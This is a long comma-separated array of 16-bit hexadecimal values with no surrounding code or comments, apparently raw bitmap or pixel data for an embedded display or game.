0xA5A5,0xA5A5,0xA4A5,0xDCA5,0xA4A4,0xF9A5,0xA5A5,0xA526,
0xECEC,0x8FEC,0xEC8F,0x9DEC,0xECEC,0x8FEC,0x8F8F,0x098F,
0x8F8F,0x8F8F,0x8FEC,0x098F,0x8F1A,0xEC90,0xECEC,0x598F,
0x8F1A,0x8F90,0x908F,0x5990,0xDCDC,0xDBDB,0xDBDB,0x1565,
0xDCE0,0xDCDC,0xDCDC,0x9B59,0xA5A5,0xA5DC,0x82E0,0x9B59,
0x9BC8,0x9B9B,0x6969,0x6969,0x9B15,0x699B,0x6969,0x6969,
0x9B9B,0x6969,0x6969,0x6969,0x9B9B,0x6969,0x6969,0x6969,
0x9B9B,0x699B,0x159B,0x699B,0x9B9B,0x699B,0x9B69,0x1515,
0x9B9B,0x6969,0x6969,0x9B9B,0x9B9B,0x6969,0x9B69,0x9B9B,
0x6969,0xC815,0x9B69,0x9B9B,0x9B9B,0x159B,0x69C8,0x9B9B,
0x9B69,0x9B9B,0x159B,0x9B9B,0x9B69,0x9B9B,0x9B9B,0x9B9B,
0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,
0x9B15,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x329B,
0x5969,0xEC16,0x8F8F,0x16EC,0x599B,0x1616,0x8F16,0xEC8F,
0x599B,0xECEC,0xEC16,0x8F8F,0x599B,0xECEC,0xECEC,0x1A8F,
0x599B,0x8F8F,0x8F8F,0x988F,0xDB32,0xDB65,0x1ADB,0xE0DC,
0x7032,0xDC8F,0xDCDC,0x82E0,0xDCDC,0x7070,0xA5DC,0xA5A5,
0xEC16,0x8F8F,0x8F8F,0xEC8F,0x1616,0x8F8F,0x8FEC,0x8F8F,
0x16EC,0x8FEC,0x16EC,0x8FEC,0x8F1A,0x8FEC,0x901A,0xECEC,
0xDC1A,0x8F8F,0x1A82,0x8F90,0xDCDC,0xDCE0,0x981A,0xDBDB,
0xDCE0,0x98A4,0x8270,0x65E0,0xA5E7,0x70DA,0x34DC,0xDC82,
0x8F8F,0x8F8F,0x8FEC,0xEC8F,0x8F8F,0x8F8F,0x8F8F,0x16EC,
0x1A8F,0x8F98,0x8F8F,0xEC8F,0xE0EC,0x8F53,0x1A1A,0x8F1A,
0x5390,0x1A53,0xE0E0,0xDCE0,0xA51A,0xDCE0,0xDCDC,0x82E0,
0xA5A5,0xE0E0,0x96DC,0x53DC,0xA52A,0xA5A5,0xDCE0,0xDC96,
0xECEC,0xEC8F,0x8FEC,0x8F1A,0xECEC,0x8F8F,0x8FEC,0x8F8F,
0xECEC,0x8F8F,0x8F8F,0x8F8F,0xECEC,0x1A8F,0x1A8F,0x8F1A,
0x901A,0x1A8F,0x1A1A,0xDC1A,0x1AE0,0xE0DB,0xDC82,0xA5DC,
0xE082,0xDCE0,0xA582,0xE0A5,0x2AA4,0xDCA5,0x2AE0,0xB2A4,
0x8F8F,0x1A1A,0xEC90,0x8FEC,0x8F8F,0x8F8F,0x8F8F,0x8F8F,
0x1A8F,0xEC8F,0x8F8F,0x1A8F,0xDC1A,0x708F,0x1A1A,0x1AEC,
0x8FDC,0xE070,0x8F1A,0xA58F,0xB21A,0xE0E0,0xDCDC,0x2A82,
0x82B2,0xE0A5,0x82A5,0x0453,0x3498,0xA4E0,0xA5A5,0xD234,
0x8F1A,0xECEC,0xECEC,0xECEC,0xEC8F,0xECEC,0x90EC,0x1A8F,
0x8F98,0x8FEC,0x1A1A,0x8F1A,0xE02A,0x981A,0x8F1A,0x908F,
0xE051,0xE0E0,0xDB1A,0x8F8F,0xDB78,0xE0DC,0x8253,0xDCDC,
0xDB78,0xDCDC,0xA4E0,0x3453,0xDC5D,0xE0E0,0xA5DC,0xB7A5,
0x1A8F,0x8F1A,0x9090,0x9090,0x8F1A,0xEC90,0x9090,0x9090,
0xEC90,0x9090,0x8F8F,0x8F8F,0x8F8F,0x8F8F,0x8F8F,0x8F8F,
0xDB8F,0xDBDB,0xDBDB,0xDBDB,0x1AE0,0xDCDC,0xDC1A,0xDCDC,
0x1AA4,0xE0DC,0xDCE0,0xE0DC,0xDC34,0xE0E0,0xA4A5,0xE0A5,
0x9090,0x9090,0x9090,0x9090,0x9090,0x8F90,0x908F,0x8F8F,
0x8F8F,0x8F8F,0x8F8F,0x8F8F,0x8F8F,0x8F8F,0xDB8F,0x8F8F,
0xDBDB,0xDBDB,0x1ADB,0x1AE0,0xDCDC,0xDCDC,0xDCDC,0xE0E0,
0xDCDC,0xE0DC,0xDCE0,0xA5DC,0xA5E0,0xA5A5,0xA5A5,0xA5A5,
0x8F90,0x8F8F,0x8F8F,0x8F8F,0x8F8F,0x8F8F,0x8F8F,0x8F8F,
0x8F8F,0x8F8F,0x8F8F,0x8F8F,0x8F8F,0x8F8F,0x8F8F,0xDB8F,
0x1A1A,0x1A1A,0x1A1A,0x1A1A,0xDCDC,0xDCDC,0xDCDC,0xDCDC,
0xDCE0,0xE0E0,0xE0E0,0xA5E0,0xA5A4,0xA5A5,0xA5A5,0xA434,
0x8F8F,0x8F8F,0x8F8F,0x8F8F,0x8F8F,0x8F8F,0x8F8F,0x8F8F,
0x8F8F,0x8F8F,0x8F8F,0x8F8F,0xDB8F,0xDB1A,0xDBDB,0x1A1A,
0xE01A,0x1A1A,0xDC1A,0x1AE0,0xE0E0,0xDCDC,0xE0DC,0xDCE0,
0xDCE0,0xE0A5,0xA5A5,0xE0E0,0xA5F9,0xA4A5,0x34E7,0xA5A5,
0x8F8F,0x8F8F,0xDB8F,0xDBDB,0xDB8F,0xDBDB,0x8F8F,0xDBDB,
0xDB8F,0xDBDB,0xDBDB,0xDBDB,0x1A1A,0x8F1A,0xE034,0x1A8F,
0x1A1A,0x8F1A,0x5D78,0xDC8F,0xE0DC,0xDBE0,0x785D,0xDCE0,
0xE0E0,0xE0E0,0xAEBD,0xA5A5,0x34A5,0xE034,0xD2A4,0x26E7,
0x1ADB,0xDB1A,0xDB8F,0xDBDB,0xDBDB,0xDC1A,0x1ADC,0xDBDB,
0xDBDB,0x1ADB,0xE0E0,0xDCE0,0x1A1A,0x1A1A,0xDC1A,0xE0E0,
0xDCDC,0xDCDC,0xDCDC,0xE0E0,0xE0DC,0xE0E0,0xE0E0,0x82E0,
0xE0E0,0xE0E0,0xA5E0,0x82A5,0xA534,0xA5A5,0xA5A5,0xE7A5,
0xDBDB,0xDBDB,0xDBDB,0xDBDB,0xDBDB,0xDBDB,0x1A1A,0xDB1A,
0xDB1A,0x1ADB,0x1A1A,0xDCDB,0xE082,0xDCDC,0x1A1A,0x82E0,
0x82E0,0x8253,0xE0E0,0x8282,0xE0E0,0xA5E0,0xA426,0xA5A5,
0xA534,0xA5E0,0x34A4,0xA4A4,0xA45D,0xA434,0xA434,0x26A4,
0xDCDB,0x0053,0xDBC1,0xDBDB,0xDCE0,0xE0DC,0xDBE0,0xDCDB,
0xDCE0,0x82DB,0xDC82,0xE0DC,0xDCE0,0xA5DC,0xE082,0xE0E0,
0xDCE0,0xA4E0,0x82E0,0x82E0,0xE0E0,0xA4A4,0xA5E0,0xA5A5,
0xA5A5,0xA42A,0xA4A5,0xA4A4,0x2A2A,0xE72A,0x34E7,0xE7A5,
0xE0DC,0x2C65,0xDB96,0xDBDB,0xE0E0,0x6565,0xDB65,0xDCDB,
0xE0E0,0x65DC,0x6565,0xDCDB,0x8282,0xDCE0,0x6565,0xAD65,
0xA5A5,0xA5A5,0x65E0,0xE065,0xA5A4,0xA4A5,0x34A4,0xA538,
0xA5A4,0x34A5,0xA42A,0x3434,0x34E7,0xBDE7,0xE7E7,0x5DA4,
0x96DB,0xDB96,0xDC65,0x65DC,0x65DC,0xDC65,0xDCDC,0xE0DC,
0xDCDC,0xE0E0,0xDCE0,0xE0DC,0x82E0,0xE082,0xE0DC,0xDCE0,
0x8282,0xE0E0,0xE0E0,0xA5A4,0xAD82,0xA5A5,0xA482,0x26A4,
0x9734,0x98A4,0xE7A4,0xA4A4,0xE05D,0xA468,0x97E7,0x34E7,
0x96DB,0xDC65,0x65E0,0x6596,0xDCDC,0x6565,0xE0E0,0xDCDC,
0xE0E0,0xDCDC,0xA5E0,0xE0A5,0xA5E0,0xA5A5,0xE0E0,0xA5A5,
0xA5A5,0xA5A5,0xA5A5,0xA4A5,0xE034,0xE782,0xA4BD,0xA5A5,
0xA5A4,0x8298,0x2A2A,0x34A4,0xBDBD,0x82E7,0xA4DA,0x2A51,
0x6565,0x6565,0xDCDC,0x65DC,0xDCDC,0xE0DC,0xDCDC,0x00E0,
0xDCDC,0xA5DC,0xDCE0,0x00A5,0xDCE0,0xA5E0,0xE0E0,0x3300,
0xA5A4,0xA4A5,0xA5E0,0x3300,0xA4A4,0xA42A,0xA4E7,0x3300,
0x2AA4,0x5D5E,0x00E0,0x2E33,0x31E7,0x70B7,0x0098,0x2E33,
0x3300,0x2E33,0x2E2E,0x2E2E,0x3333,0x2E2E,0x2E2E,0x2E2E,
0x2E33,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,
0x2E2E,0x2E2E,0x2E2E,0x5533,0x762E,0x2E2E,0x332E,0x5555,
0x762E,0x2E2E,0x5576,0x5555,0x762E,0x762E,0x5533,0x3355,
0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,
0x2E2E,0x552E,0x5555,0x5555,0x552E,0x5555,0x5555,0x5555,
0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,
0x3333,0x5555,0x5555,0x5555,0x3333,0x5555,0x5555,0x5555,
0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,
0x5555,0x5555,0x2E55,0x2E2E,0x5555,0x5555,0x5555,0x5555,
0x5555,0x5555,0x5555,0x3355,0x3333,0x5533,0x5555,0x3355,
0x3333,0x3333,0x5533,0x3355,0x3333,0x3333,0x3333,0x3333,
0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,
0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x3355,0x2E2E,0x2E2E,0x2E2E,
0x5555,0x3333,0x2E14,0x2E2E,0x3333,0x3333,0x1433,0x2E76,
0x3333,0x3333,0x1433,0x7614,0x3333,0x1433,0x1433,0x2F14,
0x2E2E,0x2E2E,0x2F2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2F,
0x2E2E,0x2E76,0x2E2E,0x2F2E,0x2E2E,0x762F,0x7676,0x7676,
0x2E2E,0xFD2F,0x2F2F,0x7676,0x2E2E,0xFD2E,0x2FFD,0x2F2F,
0x2E76,0x2F2E,0xFDFD,0x2FFD,0x2E76,0x2E2E,0x0FFD,0x590F,
0xFD2E,0x2FFD,0x2F2F,0x002F,0x2E2E,0x0FFD,0xFD0F,0x2F2F,
0xFDFD,0xFDFD,0xFDFD,0x000F,0xFD2F,0x0FFD,0x0F0F,0x0F0F,
0x2F76,0x59FD,0x5959,0x0F59,0x2F2F,0x2F2F,0x592F,0x9C59,
0x2F2F,0x592F,0x5959,0x5959,0x5959,0x0F59,0x0F59,0x0F0F,
0x34F9,0xF9F9,0xF9F9,0xF9F9,0x3400,0x3438,0x3834,0x3838,
0x3434,0x3434,0x3434,0xE734,0x9700,0x9797,0xE7E7,0x5D5D,
0x000F,0x2A2A,0x5D2A,0xE75D,0x0000,0xE651,0x5D5D,0x5D5D,
0x5100,0x7800,0xBABA,0xE678,0xB700,0xE651,0x78E6,0x78E6,
0x7897,0x5D2A,0xA42A,0x2A34,0x7878,0x5D51,0x2A5D,0xE7C4,
0x2A51,0xBAE6,0x785D,0xDABD,0x2A4D,0xE651,0xBABA,0xBDAE,
0xAE4D,0x51E6,0x8E8E,0x7878,0x8EAE,0xEB8E,0xE7E6,0xBA5D,
0xF64A,0x34BD,0xBA34,0xEBEB,0xDC5D,0xBAF9,0xD2D2,0xEBEB,
0x3434,0x3434,0xA5A5,0xBDA4,0x975D,0x9797,0x3497,0x2A34,
0x785D,0x5DE7,0xE7E7,0xE797,0x7898,0x5D78,0x5D5D,0xBA5D,
0xDA82,0xAE51,0xBABA,0xAE78,0xC4AE,0x8E98,0x78AE,0x9804,
0xAEAE,0xADC4,0x85D2,0x5FA4,0xD2EB,0xC48E,0x78BD,0x7062,
0xA534,0xE034,0xA598,0x9B32,0xE7BD,0x7034,0xE7A4,0x9B15,
0xBD51,0xA4B2,0x9C78,0xC8C8,0xB178,0xAE68,0x9C5D,0x9B15,
0xB1B2,0x78EB,0x9C5D,0x9B9B,0x8EB1,0x97E6,0x9C5D,0x9B9B,
0xBAAD,0xE6BA,0x9CAE,0x9B9B,0x8EAE,0xB3D2,0x9C8E,0x9B9B,
0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,
0x9B15,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,
0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,
0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,
0x9B9B,0x9B9B,0x9B9B,0x329B,0x9B9B,0x9B9B,0x9B9B,0xE732,
0x9B9B,0x9B9B,0x159B,0x2A32,0x9B9B,0x9B9B,0x329B,0x5D97,
0x9B9B,0x9B9B,0x3215,0x97EB,0x9B9B,0x9B9B,0xA503,0x5DA5,
0x9B9B,0x329B,0xF903,0x9797,0x9B9B,0x03C8,0xB38E,0x708E,
0xA5DC,0xAD34,0xDBDA,0x5D34,0x34E7,0xE734,0x98A5,0xDC70,
0x5D51,0x5D97,0xE0BA,0xB168,0x515E,0x5DAE,0x6870,0x26BD,
0xEB5D,0xDAE7,0x2A1E,0xEBEB,0x26EB,0xC4DA,0xF6B7,0xDA4D,
0x70DC,0x314D,0x91F6,0x5F5F,0xDC70,0xF634,0x5F50,0x8EB2,
0xDA82,0x34AD,0x3434,0xADA5,0x26A5,0x5D78,0xDBA5,0x2AA4,
0x04E7,0xADE6,0xA498,0x2151,0x78A4,0xDADA,0x515D,0x3151,
0xB21E,0x9770,0x78AE,0xF151,0x265F,0xAD04,0xAEAD,0x4D91,
0xAEE6,0x04EB,0xB1DA,0x4A4D,0xAE85,0x31E6,0x9831,0xE6DA,
0xE7A4,0xA5A4,0xF9A5,0xA4F9,0xA5DA,0xA52A,0xF934,0x2AE7,
0xB2E7,0x78A5,0x9734,0x972A,0xC480,0x78B2,0xE778,0x97BD,
0x4A4D,0xB2C4,0x7878,0xE6BA,0xAEAE,0xB1F6,0xA7B2,0x3451,
0xEBAE,0x5D4A,0x705F,0x5E78,0xB3B3,0x9697,0x5F34,0x0726,
0xA4A4,0xA5A5,0x2A34,0xDAB1,0x3434,0x3434,0x7078,0x2AB1,
0x9797,0xAEE7,0x5F98,0x51BD,0x785D,0xA4EB,0xC45F,0x2A78,
0x7878,0x5F5D,0xAE68,0xBABA,0x78BA,0xB15F,0xAEB7,0xEBE6,
0x98C3,0x265F,0x4A4A,0xE7EB,0x5F4D,0x4868,0x34B3,0x34DC,
0xA55D,0xA4A4,0xA5A5,0xD278,0xA4E7,0x34E7,0x2A34,0x8EEB,
0x5DBD,0x3434,0x78BD,0xB785,0xBDE6,0xAD97,0xF62A,0xB7D2,
0x8EE6,0x2A9A,0x8E98,0xE6B3,0xE6EB,0x78E7,0x985D,0xAEEB,
0x9734,0xAEE6,0x4D4A,0x04DA,0x4AAE,0xAEF6,0x488E,0x9826,
0xA5A4,0xA5A5,0xDCA5,0xF8BD,0x3434,0x3434,0x97A5,0xBD93,
0xE797,0xE7E7,0x9334,0x38F8,0x5D5D,0x975D,0x138E,0x5DE7,
0x78BA,0xE65D,0x5189,0xB7BA,0xBA78,0x89BA,0x7821,0xE68E,
0xBAF6,0x8993,0x8EAE,0xAEAE,0x938E,0xF817,0xAE8E,0x8EAE,
0xA5A4,0x34A5,0xA434,0xA4E7,0xE7E7,0xE7E7,0x34E7,0x2AE7,
0x2AE7,0x2A2A,0x97E7,0xE797,0x78E6,0xE6BD,0xBDE6,0xBA5D,
0xBAE6,0x7878,0x8E78,0xA451,0x7878,0xE6E6,0xE6AE,0x26A4,
0xAEAE,0xD2EB,0x822A,0xD2BD,0x4AEB,0xBD9A,0xE6A4,0x8EAE,
0xA5A5,0x3434,0x3434,0xA534,0x97BD,0x9797,0x9797,0x3497,
0xE651,0x9734,0xE75D,0xE75D,0x2697,0x78E6,0x5D5D,0x5D5D,
0xE6A4,0xEB51,0xBAAE,0x78BA,0xAE8E,0xA55D,0xD2B7,0xAE78,
0xAEEB,0x5D8E,0x2A8F,0x8E85,0xEBEB,0x858E,0x1AAE,0xDBAD,
0xE7A4,0x3434,0x3434,0xA5BD,0xBDE7,0x97BD,0xBD97,0xF9BD,
0xBAE7,0xE7BD,0xE678,0x3834,0xE65D,0xA4B7,0xBABD,0x5D38,
0x8E8E,0xE65D,0xE0BD,0xAE5D,0x3493,0xD2E7,0x3478,0xBDA4,
0xA598,0x8ED2,0x8E38,0x268E,0x4AE7,0x97D2,0x93B7,0x2AB3,
0xBDF9,0x2A34,0x342A,0x3434,0xE797,0x2A2A,0xBDBD,0x7878,
0x5D5D,0x7851,0xEB78,0xDABD,0x51BD,0xAEB7,0xC4EB,0x82B1,
0xEBE6,0xE6F6,0xB1DA,0xEB2A,0xF69A,0xB197,0xE698,0xEBAE,
0x26E6,0x26DA,0xAE8E,0x8EAE,0x82AD,0xD2BD,0xAE85,0xD2AE,
0xA478,0xA5AD,0x8E34,0xA4AE,0x98AD,0x5DA4,0xB734,0xE7D2,
0x78DA,0x2AB7,0xBD97,0x784A,0xBA78,0x5E78,0x5DE7,0x04D2,
0xBA78,0x5DE6,0xEBE7,0x85F8,0x8E8E,0x3878,0xEB51,0x91EB,
0xEBB3,0xBA38,0xD2D2,0x9191,0x38EB,0xB378,0xF104,0xB3F1,
0x342A,0x3434,0x3434,0x5DA5,0x2ABD,0x975D,0x7897,0x9878,
0x5197,0xBD4D,0x7878,0x9778,0xDEBA,0x0480,0xBA5E,0xAE5D,
0x4D26,0xB7F6,0x8EE6,0xB7E6,0xF64D,0xB7A2,0x8EAE,0xEBEB,
0x514A,0x9AB7,0x8EEB,0xEBEB,0xAEB3,0xF68E,0xD2B3,0xF6D2,
0x975D,0xE72A,0x2AE7,0x34E7,0x5134,0xBD2A,0x2A51,0xE797,
0xBDDA,0xE6AE,0x5151,0x51E6,0xDA2A,0xEB5D,0x78B7,0xEB5E,
0x26F6,0xE6DA,0xB7EB,0xEB51,0xAEAE,0xDA26,0xF6EB,0x4AE6,
0xAE8E,0xC4D2,0xEB98,0x2A4A,0x8EF6,0xD2AE,0xA41E,0x5F8E,
0x5E2A,0x5D2A,0x9897,0x2AE7,0x5E51,0x2AB7,0xA570,0x5178,
0xEB5E,0xDA78,0x78AD,0x5EE6,0xF6EB,0xDA70,0x51EB,0xB7B7,
0x984A,0xEBB2,0xEBEB,0x78E6,0x5FA4,0xF6B7,0xEBEB,0x4AEB,
0xBD5F,0xEBC3,0xD2AE,0x264A,0xD268,0x8E51,0x854A,0x70AD,
0x2A2A,0xBDBD,0x5D2A,0xBD78,0x2A5E,0x2A5D,0x5178,0xB1C4,
0x7851,0xEB51,0x982A,0xE7B1,0xAE78,0x2631,0x1EDA,0xAEE6,
0xAED2,0xDAAD,0xEB26,0x8E31,0xDAE6,0x2A98,0xAEAE,0x9A8E,
0xC470,0x8EB7,0x8EAE,0xB3EB,0x5E26,0x4AF6,0xF6D2,0x8EF6,
0x1A70,0xE7E7,0xE697,0xE7E7,0x7882,0x5D5D,0xB7E6,0x5DBD,
0x5DAE,0x7838,0x5D8E,0xBDBD,0x5DE6,0xD238,0x78EB,0xE678,
0x388E,0x93BA,0x785D,0xF6AE,0x979A,0xF613,0xBAAE,0xF938,
0x2A97,0xF689,0x3497,0xBA97,0x045D,0x9697,0x8E34,0xB348,
0xBDE7,0x78E6,0xDA82,0x5182,0xE65D,0x5DE6,0xBD78,0xAD98,
0xB7E6,0xE6B7,0xAE78,0xB1A4,0xB7B7,0x8EE6,0xAD8E,0x26DA,
0x9778,0xBDAE,0x6868,0xD24D,0xAE38,0x7034,0xB71E,0xA2D2,
0x9697,0x2AEC,0x8504,0xB2DE,0x70DA,0xF996,0xDE04,0xB25F,
0x2604,0x82B1,0x0051,0x3333,0xE0A5,0xEB26,0x00EB,0x3333,
0x34B2,0xF64A,0x00A4,0x3333,0xC4BD,0xAD78,0x0068,0x2E33,
0xC413,0xB25F,0x00BD,0x2E2E,0x5F1E,0x04C4,0x2E00,0x762E,
0xBD5F,0xB7B3,0x2E00,0x2F2F,0x04AE,0x0000,0x2F2F,0x2F00,
0x7676,0x762E,0x5533,0x3355,0x2F76,0x7676,0x3333,0x1433,
0x2F76,0x7676,0x3333,0x1414,0x2F76,0x2F2F,0x3333,0x1414,
0xFD76,0x2F2F,0x1433,0x1414,0xFD2F,0x2F2F,0x1414,0x1414,
0xFD2F,0x2F2F,0x1408,0x1414,0xFD2F,0x2FFD,0x082F,0x0814,
0x3314,0x5533,0x5555,0x3355,0x3314,0x3333,0x5533,0x3355,
0x1414,0x3333,0x3333,0x3333,0x1414,0x3333,0x3333,0x3333,
0x1414,0x3333,0x1433,0x3333,0x1414,0x3314,0x1433,0x3333,
0x1414,0x1414,0x1433,0x3333,0x1414,0x1414,0x1414,0x3314,
0x3333,0x3333,0x3333,0x3333,0x1433,0x3333,0x3333,0x3333,
0x1433,0x3314,0x3333,0x3333,0x1433,0x1414,0x3333,0x3333,
0x1414,0x1414,0x1414,0x3333,0x1414,0x1414,0x1414,0x3314,
0x1414,0x1414,0x1414,0x1414,0x1414,0x1414,0x1408,0x1414,
0x3333,0x3333,0x1414,0x0814,0x1433,0x3333,0x1414,0x0814,
0x3333,0x1414,0x1414,0x0814,0x3333,0x1414,0x1414,0x0808,
0x1414,0x1414,0x1408,0x0808,0x1414,0x1414,0x0808,0x0808,
0x1414,0x1414,0x1C08,0x0808,0x1414,0x1408,0x1C14,0x0808,
0x762F,0x7676,0xFD76,0x0F0F,0x762F,0x7676,0x7676,0x0FFD,
0x7608,0x762F,0x7676,0xFD76,0x7608,0xFD2F,0x2F2F,0x2F2F,
0x1C08,0x2F76,0xFDFD,0xFDFD,0x1C08,0x2F76,0xFD2F,0xFD0F,
0x1C08,0x76FD,0x2F76,0x59FD,0x1C08,0x0F0F,0x2F2F,0x0F2F,
0x5959,0x0F59,0xFD0F,0x000F,0x0F0F,0x5959,0xFD0F,0x000F,
0x0F0F,0x5959,0xFD59,0x00FD,0x0F2F,0x5959,0x5959,0xFDFD,
0xFDFD,0x590F,0x5959,0xFD59,0xFDFD,0x59FD,0x5959,0x000F,
0x0F0F,0xFDFD,0x0FFD,0x000F,0x9C59,0x5959,0x0F59,0x000F,
0x51E6,0xB75E,0x8E51,0xAE51,0x7878,0x8E51,0x8EEB,0x8EAE,
0xAEAE,0x8EAE,0xEB9A,0xBA8E,0xAE00,0xD28E,0xEBEB,0x38F8,
0x8E00,0xEB93,0xD2AE,0x5D5D,0x9300,0x5D2A,0xAE85,0x8E38,
0xA48E,0x4AA5,0x38D2,0x93E6,0xA598,0xC3C3,0xE6BA,0x4A93,
0xBA96,0x8585,0xD2D2,0xD2D2,0xD2B3,0x8585,0x8585,0x85D2,
0x5113,0x858E,0x8585,0x85B3,0x8E13,0x8551,0x4AB3,0x34AE,
0xD26D,0xD2E6,0x97D2,0x5DF9,0x1348,0x978E,0x5D97,0x0478,
0x2189,0x7878,0x5E31,0x4831,0x2148,0xF421,0x9A9A,0x2148,
0xB3F6,0x78B3,0xB296,0x85AD,0xD2B3,0xF997,0xB1B2,0xC34D,
0x96BA,0xC45D,0xC45F,0xF8A5,0xD2F9,0xB24A,0x9A68,0xA42A,
0x04F6,0xB2B2,0x07B7,0xB2A7,0xDA4A,0xC45F,0xC348,0xDA98,
0x5F4D,0x9A68,0x9848,0xB7DA,0xB1B2,0x48A2,0x98C4,0x215E,
0xD2B3,0x8E4A,0x9CDA,0x9B9B,0x4A4A,0xB2BA,0x9CA4,0x9B9B,
0x9748,0x26B2,0x9CA2,0x9B9B,0xB2A4,0x9ABD,0x9C21,0xC8C8,
0xE6B2,0x6D9A,0x9C48,0x9B15,0x21E6,0x316D,0x9C4A,0x9B9B,
0x5C13,0xC321,0x9C31,0x9B15,0x4D89,0x3982,0xA513,0x9B32,
0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B9B,0x9B15,0x9B9B,
0x9B9B,0x9B9B,0xC89B,0x159B,0x9B15,0x9B9B,0x9B9B,0x32C8,
0x9B9B,0x9B9B,0x159B,0x9C32,0x9B9B,0x9B9B,0xC815,0xB303,
0x9B9B,0x159B,0x03C8,0xDA21,0x9B9B,0xC815,0x079C,0x981E,
0x159B,0x8503,0xB713,0xC470,0x0315,0xB3C3,0xB297,0xA226,
0x0332,0x26B3,0xBDB2,0xB3A2,0x4803,0xB2AD,0x9AE6,0xD207,
0x68B3,0xE670,0x079A,0x448E,0x70DA,0x21B7,0xAE89,0x06B1,
0xB798,0x3921,0x5F51,0x9122,0x215E,0x5C39,0x06B2,0xF88D,
0xF6A2,0x4497,0x685F,0xC313,0x85F6,0xB150,0x97DA,0x13AE,
0x5085,0x6844,0xAE85,0x3496,0x197E,0xAE68,0xB34A,0x5DD2,
0xC406,0xC3B7,0x8585,0x9AB3,0x8EDE,0x4848,0xB34A,0x50B3,
0xC3F8,0x1313,0x4813,0x1E2B,0x4848,0x1313,0x2148,0x5DC4,
0xD2D2,0xB7AE,0xEBF6,0x6826,0x4AC3,0xF1DE,0xC3B3,0xF9B7,
0x2B4A,0xF806,0xBDF8,0x9738,0x1E38,0x854D,0x5D38,0x26BD,
0x97DE,0x3438,0x2604,0x9A1E,0x977E,0x0478,0x68C4,0x1721,
0x0497,0x1EC3,0xE6B2,0xBF9A,0x8AA7,0x1E1E,0x78C3,0x8034,
0x97BA,0x7896,0x6813,0x975F,0x702C,0x8A31,0x85B3,0x5F68,
0xDA26,0xC382,0x4813,0x5FC4,0xB7A2,0xDA70,0x9A48,0xB15F,
0x9A21,0xDAB7,0xB2AD,0xDE5F,0xF49A,0xEBA7,0x5F70,0xA268,
0x2189,0xA76D,0xB1DA,0x13DE,0x6D17,0x8021,0xC4B1,0x264D,
0xB1B2,0x51F8,0xA596,0x4AAE,0xDEB2,0x9638,0x8AEB,0x314A,
0xB768,0x13BA,0x9A48,0xA2A2,0x4DC4,0x2139,0xF8A2,0x489A,
0x5FC4,0x484D,0x4A9A,0x484A,0x5F4D,0x48B2,0xB348,0xB3B3,
0xC48E,0x1E5F,0x1348,0x1313,0xBDEB,0xB168,0x074D,0x1348,
0x31F6,0xAE78,0x13B3,0x8285,0xB75E,0x8E51,0xB313,0x8E85,
0xD28E,0xF8AE,0xB36D,0x93AE,0xAEC3,0x13AE,0x8548,0x178E,
0x7848,0x13EB,0x8E48,0x0B13,0xE6EB,0x48B3,0xD213,0xCCCC,
0xEBB7,0x4813,0x4813,0x390B,0x9A5E,0x6D6D,0xC548,0x480B,
0x1770,0xD289,0xD2F6,0xB3D2,0x6C98,0x4AB3,0xB3B3,0xB3C3,
0xDAEF,0x48A5,0xC3C3,0xE6B3,0xB70B,0xBDDA,0x8548,0xA4BD,
0xB348,0xDA5E,0xB7E6,0x8EA4,0x48B3,0x4D13,0x2670,0xB3D2,
0x13B3,0x21B3,0xAD2A,0x4813,0xB313,0xA2B7,0x26A7,0x4826,
0xEBB3,0xA4A4,0x858E,0xE6BD,0xA4B7,0x85BD,0x8585,0xBDE6,
0xE6A5,0x4AB3,0x8585,0xC4D2,0x4A8E,0x4AB3,0x8585,0x2613,
0xB348,0xB3B3,0x13B3,0xDAD2,0xC3B3,0xB34A,0xA4B3,0xB216,
0x48B3,0x5148,0x1A34,0x4DE0,0x4848,0x8F2A,0x5198,0xF604,
0xD285,0xB3F6,0xDC4A,0x3040,0x8585,0x5113,0xB230,0xDC31,
0x85B3,0x5BDC,0x139D,0xD213,0x90E0,0x82E8,0x93FE,0x178E,
0x2C5F,0x13BD,0x9A93,0x4817,0xBD68,0x93D2,0x3F17,0xD248,
0x4D68,0x0B13,0x1317,0xC4C3,0x8082,0x170B,0x4813,0x98C4,
0xB38E,0xF88E,0xB313,0xDABD,0xADE8,0x3993,0xAD4A,0x2670,
0xE882,0x518F,0xADA4,0xA24D,0x346D,0xE8EC,0x5E16,0x4A48,
0x26EB,0xDB98,0x1630,0x485E,0x70C4,0x5EBD,0xECA4,0xE062,
0xE6DA,0x6D21,0xA248,0x9DC4,0x21B7,0x486D,0xC3C3,0x2651,
0x2A26,0xE697,0x8585,0xAE85,0x855E,0xA4AE,0x85BD,0x5DAE,
0x8585,0x8E85,0xBDBD,0x7878,0x8585,0xB34A,0x26E6,0x97B7,
0xB3B3,0xE6B3,0x97F9,0xE697,0x134A,0xDCE6,0xB738,0xB789,
0xA58F,0x045D,0x1721,0x2B0B,0x8F82,0x21E0,0x0B3F,0x06BF,
0x3138,0xAEC3,0x501E,0x9AA2,0xBA04,0xDA38,0x6D7E,0xB3F6,
0x3896,0x7E91,0xF65C,0x1385,0x178E,0xF122,0xB34A,0xB385,
0x2213,0x4A50,0xD2BA,0x4A13,0x7E19,0x0713,0x968E,0x48AE,
0x2B06,0x4885,0xEB89,0x9796,0xEBBC,0xB34D,0xC313,0x705E,
